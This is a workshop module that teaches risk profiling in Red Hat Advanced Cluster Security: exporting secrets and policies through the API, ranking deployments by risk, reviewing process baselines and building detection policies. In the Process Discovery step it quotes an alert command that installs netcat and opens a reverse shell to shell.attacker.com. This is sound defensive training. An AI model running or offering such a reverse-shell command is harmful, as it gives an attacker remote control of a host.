Risk Profiling

Module goals

Understand the extra configuration aspects of Kubernetes and OpenShift
Tie vulnerability management details together with configuration details and runtime events
Help you identify what "Risk" is in your clusters

The Configuration Management Tab

The configuration management tab contains a lot fo useful information that directs you to other dashboards. It is currently undergoing an overhaul, so we are open to whatever you want to see in the configuration management dashboard. However, here are the four top use cases that we tend to see from people looking into security configuration management.

Policy Violations
CIS Kubernetes 1.5
Users with most cluster admin roles
Secrets most used across deployments

Let’s break down each section.

The "Secrets most used across deployments" widget

Procedure

Click the View all button on the "Secrets most used across deployments" widget.

In this view, you will see all of your secrets across your clusters. You can filter the secrets and export all of the information to a CSV. However, you will not get ALL of the secrets this way. We recommend using the API to export large batches of data.

Run the following shell command.

The following command uses the token and address located in the bash profile to request all of the secret information in RHACS

curl -k X GET "https://$ROX_CENTRAL_ADDRESS:443/v1/secrets" -H "Authorization: Bearer $ROX_API_TOKEN" -H "Content-Type: application/json" | jq

...
      "name": "tpa-infrastructure-kafka-user-passwords",
      "clusterId": "86eede55-7414-4f42-809a-f978a48d8213",
      "clusterName": "production",
      "namespace": "trusted-profile-analyzer",
      "types": [
        "UNDETERMINED"
      ],
      "createdAt": "2024-10-01T04:00:55Z"
    }
  ]
}

Next, filter the secrets by Cluster: production & Image Pull Secret Registry: quay.io

Next, try filtering by "Secret Type."

Not all secrets are the same, and organizations should ensure secrets are properly managed through a [CSI driver](https://docs.openshift.com/container-platform/4.15/storage/container_storage_interface/persistent-storage-csi-secrets-store.html) or a secrets management tool.

The "Policy violations by severity" widget

Now, the policies entity list in the configuration management UI gives you a complete overview of all of the policies in the cluster, the policy status, whether it’s disabled, whether it’s enabled, and whether it’s enforced or not

Procedure

Click the View all button on the "Policy violations by severity" widget.

Notice in this tab that nothing should say enforced. This is because, by default, in ACS, there is no policy that is being enforced. This avoids the eviction of any workloads prematurely and allows you to ingest all of this security information at the beginning of your security journey.

Now, as you add policies, this page will continue to fill up and you will require the ability to export all of the policies and their status.

Let’s do that using an API call again.

Run the following shell command.

The following command uses the token and address located in the bash profile to request all of the Policy information and it’s status in JSON.

curl -k X GET "https://$ROX_CENTRAL_ADDRESS:443/v1/policies" -H "Authorization: Bearer $ROX_API_TOKEN" -H "Content-Type: application/json" | jq

.
    {
      "id": "a919ccaf-6b43-4160-ac5d-a405e1440a41",
      "name": "Fixable Severity at least Important",
      "description": "Alert on deployments with fixable vulnerabilities with a Severity Rating at least Important",
      "severity": "HIGH_SEVERITY",
      "disabled": false,
      "lifecycleStages": [
        "BUILD",
        "DEPLOY"
      ],
      "notifiers": [],
      "lastUpdated": "2024-10-01T04:00:28.222444751Z",
      "eventSource": "NOT_APPLICABLE",
      "isDefault": true
    }
  ]
}

The ability to export this policies is excellent for monitoring policies changes in a stateful way.

Risk in RHACS

You are now acquainted with the detailed information that Red Hat^® Advanced Cluster Security for Kubernetes (RHACS) provides about vulnerabilities and workflows to manage individual vulnerabilities. Often, the number of vulnerabilities detected can seem daunting to those uninitiated in security practice. You need to bring runtime, security configuration management, and vulnerability all together to get a more precise view of what is going on in your clusters. You need a system to evaluate the potential risk of harm from these vulnerabilities, and you need a way of prioritizing vulnerabilities to be addressed and not just deferring them.

RHACS understands the three major phases of an application’s lifecycle to be build, deploy, and runtime.

RHACS assesses risk across your entire environment and ranks your running deployments according to their security risk. It also details vulnerabilities, configurations, and runtime activities that require immediate attention. The risk evaluation functionality of RHACS is used to understand how deployment-time configuration and runtime activity impact the likelihood of exploits occurring and how successful those exploits may be. This helps you prioritize the remedial actions you plan to take.

Realistically it is only possible to tackle some sources of risk, so organizations prioritize their efforts. RHACS helps to inform that prioritization.

View Risks by Deployment

In this section, you look at the complete view of the risks by deployments in all the clusters of your system.

This list view shows all deployments in all clusters and namespaces, ordered by risk priority. A multi-factor risk metric sorts deployments based on policy violations, image contents, deployment configuration, and other similar factors. Deployments at the top of the list present the most risk.

View Single Deployment Details

In this section, you examine the riskiest deployment to understand how risk is assessed during deploy time.

Procedure

From the left navigation menu, select the Risk tab:

Click the visa-processor deployment to bring up the Risk Details panel, with the Risk Indicators tab selected:

The Risk Indicators tab shows why this deployment is highly risky. The deployment has serious, fixable vulnerabilities, but it also has configurations such as network ports and service exposure outside the cluster, making it more likely to be attacked. In addition, other configurations, such as privileged containers, mean that a successful attacker has access to the underlying host network and file system, including other containers running on that host.

What is the "Riskiest deployment"? Why do you think it was rated that way?

Navigate to the bottom of the Risk Indicators page and take a minute to review the Components Useful for Attackers section.

All of these configurations are gleaned automatically by RHACS from OpenShift, and the built-in policies assign a risk score to each, meaning that this risk report is available as soon as you start running RHACS.

And, hopefully, you can see why this image is highly insecure in the service configuration section. The container has; - SYS_ADMIN capabilities - Port 22 is exposed in an unknown manner - components such as app bash curl and wget are available - Apache Struts is present in the image

This means a successful attacker can gain complete control over this entire OpenShift^® cluster.

Navigate to the deployment details

Here we can see a complete breakdown of the deployment details including the container configuration the secrets that are mounted in the image name specific commands and the security context of the container which is privileged.

The deployment details are there to help you to figure out who and what is responsible for this workload.

Next, click on the Process Discovery Tab

This tab shows you all of the running processes in the container. You can see that a baseline of processes is already established and that a few violations of that baseline have already been discovered. The baseline is a list of the processes currently running. Alerts are created if RHACS detects new processes that are not in the baseline.

If you scroll to the bottomw of the page. you could add those processes to the baseline with the + sign and silence any future alerts. But typically we want to understand what our applications are doing before we enact any policy enfocement or exceptions.

Click the drop-down arrow next to /bin/bash to reveal the specific context that triggered this violation

Review the command…

-c /usr/bin/sudo /usr/bin/apt-get -y install netcat; /usr/bin/sudo /bin/nc shell.attacker.com 9001 -e /bin/bash.

Does this command running in a container at runtime seem important?

Click the View Graph in the header bar to call up the Event Timeline.

The event timeline shows for each pod the process activity that has occurred over time. It has the visa-processor and visa-processor-sidecar information in the interface.

Click the squares or circles for the process activity:

While ACS monitored the baseline activity it picked up a feew policy violations from the container. as you click the blew dot you will see what is being flagged.

You can take advantage of the constrained lifecycle of containers for better runtime incident detection and response. Containers are not general-purpose virtual machines and therefore, generally have a simple lifecycle. They typically have a startup period, with some initialization, and then settle down to a small number of processes running continuously and making or receiving connections. Deviations from the baseline can be used to take enforcement action and alert team members. Runtime activity rules can be combined with other activity.

Lock Baseline

Fortunately, the visa-processor deployment is unlocked, and we can change our baselines. No let’s take a look at what processes are explicitly allowed to run in the deployment.

Procedure

Click the Process Discovery tab on the Risk Details panel. Or click out of the Process Discovery Graph.
Scroll down to the Spec Container Baselines section:

The tooltip shows that the visa-processor container is already unlocked and warns that locking the process baselines will configure alerts in the future. The list in the RHACS Process Discover UI shows all processes discovered and added to the baseline in the first hour of runtime.

Scroll down to the bottom of the list and see another container, the visa-processor-sidecar that is also accounted for.
Hover over the lock icon for the visa-processor-sidecar and note that it is not locked.

Go ahead and lock the baseline. All further processes run in this sidecar that is not among the several listed result in a triggered alert.
Click X to close the details panel.

Find and create policies quickly with filters

In the Risk view and most UI pages, RHACS has a filter bar at the top that allows you to narrow the reporting view to matching or non-matching criteria. Almost all of the attributes that RHACS gathers are filterable. This is very useful in the Risk view when you know what you are looking for, for example, when you want answers to questions such as "What applications have bash present?"

Procedure

Enter Process Name in the filter bar (where it reads Add one or more resource filters) and select the Process Name key.
Enter bash and then press Enter.

Several deployments are shown to have run bash since they started—and all of them are in production. This could be a serious threat that we want to monitor.

Creating policies via filters

You can create new security policies based on the filtering criteria that you select in the Risk dashboard. However, when you create new security policies from the Risk view based on the selected filtering criteria, not all requirements are directly applied to the new policy.

RHACS transforms the filtering criteria into policy criteria by converting the cluster, namespace, and deployment filters to equivalent policy scopes.

Procedure

From the Risk dashboard filter by Process Name THEN apt or apt-get or dpkg to the search bar
Next add Namespace THEN payments

What deployments did you expect to see?

Click the + (Create Policy) next to the filter bar

Give the policy all of the necessary information and complete the required fields then hit next.
- Name: No bash allowed
- Severity: High
- Categories: Anomalous Activity
- Description: No bash allowed
- Rationale: Too many known vulns
- Guidance: Use ZSH
- MITRE ATT&CK: The policy can be mapped to a MITRE ATT&CK technique.
- Lifecycle stages: Runtime
- Event sources; Deployment
- Response method: Inform
- Inform and enforce: Enform on Runtime
- Policy Crieria: On the right there is a drag out policy fields bar.Find Process Activity and select Unexpected process executed. Drag into into the policy section.

Make sure to preview the policy before accepting it.

Advanced Filtering

You can write more advanced filters focusing on particular scopes to detect vulnerabilities more accurately. Local page filtering on the Risk view combines the search terms by using the following methods:

Combines the search terms within the same category with an OR operator. For example, if the search query is Cluster:A,B the filter matches cluster A or cluster B deployments.
Combines the search terms from different categories with an AND operator. For example, if the search query is Cluster:A+Namespace:Z, the filter matches deployments in cluster A and in namespace Z.

When you add multiple scopes to a policy, the policy matches violations from any of the scopes. For example, if you search for (Cluster A OR Cluster B) AND (Namespace Z) it results in two policy scopes, (Cluster=A AND Namespace=Z) OR (Cluster=B AND Namespace=Z).

Try it yourself

Search for the api-server deployment in the default and backend namespace.

Output

See the Understanding … the filtering criteria into policy criteria documentation for more information.

What would you do?

What filters would be useful in your day-to-day risk workflow?
How would you scope your filters by team/application/cluster?

Try some of these scopes yourself by indicating different namespaces in your filters.

Risk Acceptance workflow

As a security analyst who is a deferral approver, you can evaluate requested deferrals and respond to them through the RHACS portal. In this section we will review a deferral process in RHACS.

Procedure

Head to the Vulnerability Management → Workload CVE.

Select any vulnerability that you want to defer. Click the 3 dots on the right hand side of the tab → select defer.
Pick a timeline for deferral, and decide whether the vulnerability should be ignored in all images or only this one.
Give the deferral a rationale
Click "Submit request"

The output gives you all of the investigation information including a link that you can send out to teammates who can review your investigation.

There will be a "Pending Exception" icon in the dashboard to mark that a deferral has been requested.

Click on the Pending exception icon

You should be brought to the Exception Management page. Here is where you, and others, can find all of the information about the vulnerability deferral.

Decide how you want to handle the deferral by click your newly created request and selecting an option.

The Exception Management bar will show all pending vulnerability related requests.

While you can mute notifications or a CVE you can never hide them in RHACS.

What would you do?

How does your organization manage security policies?
How will you use this dashboard to review your security posture?
What types of security configuration controls are you putting in place in your OpenShift and Kubernetes Clusters?
How would you make changes to your clusters?

Summary

Great job!!

RHACS does not simply surface vulnerabilities. You learned the various risk priority justifications RHACS provides and filtered and searched through these vulnerabilities. RHACS reports the risk indicators, deployment details, and processes necessary to discover vulnerabilities for each deployment.

Have fun with Policy Management!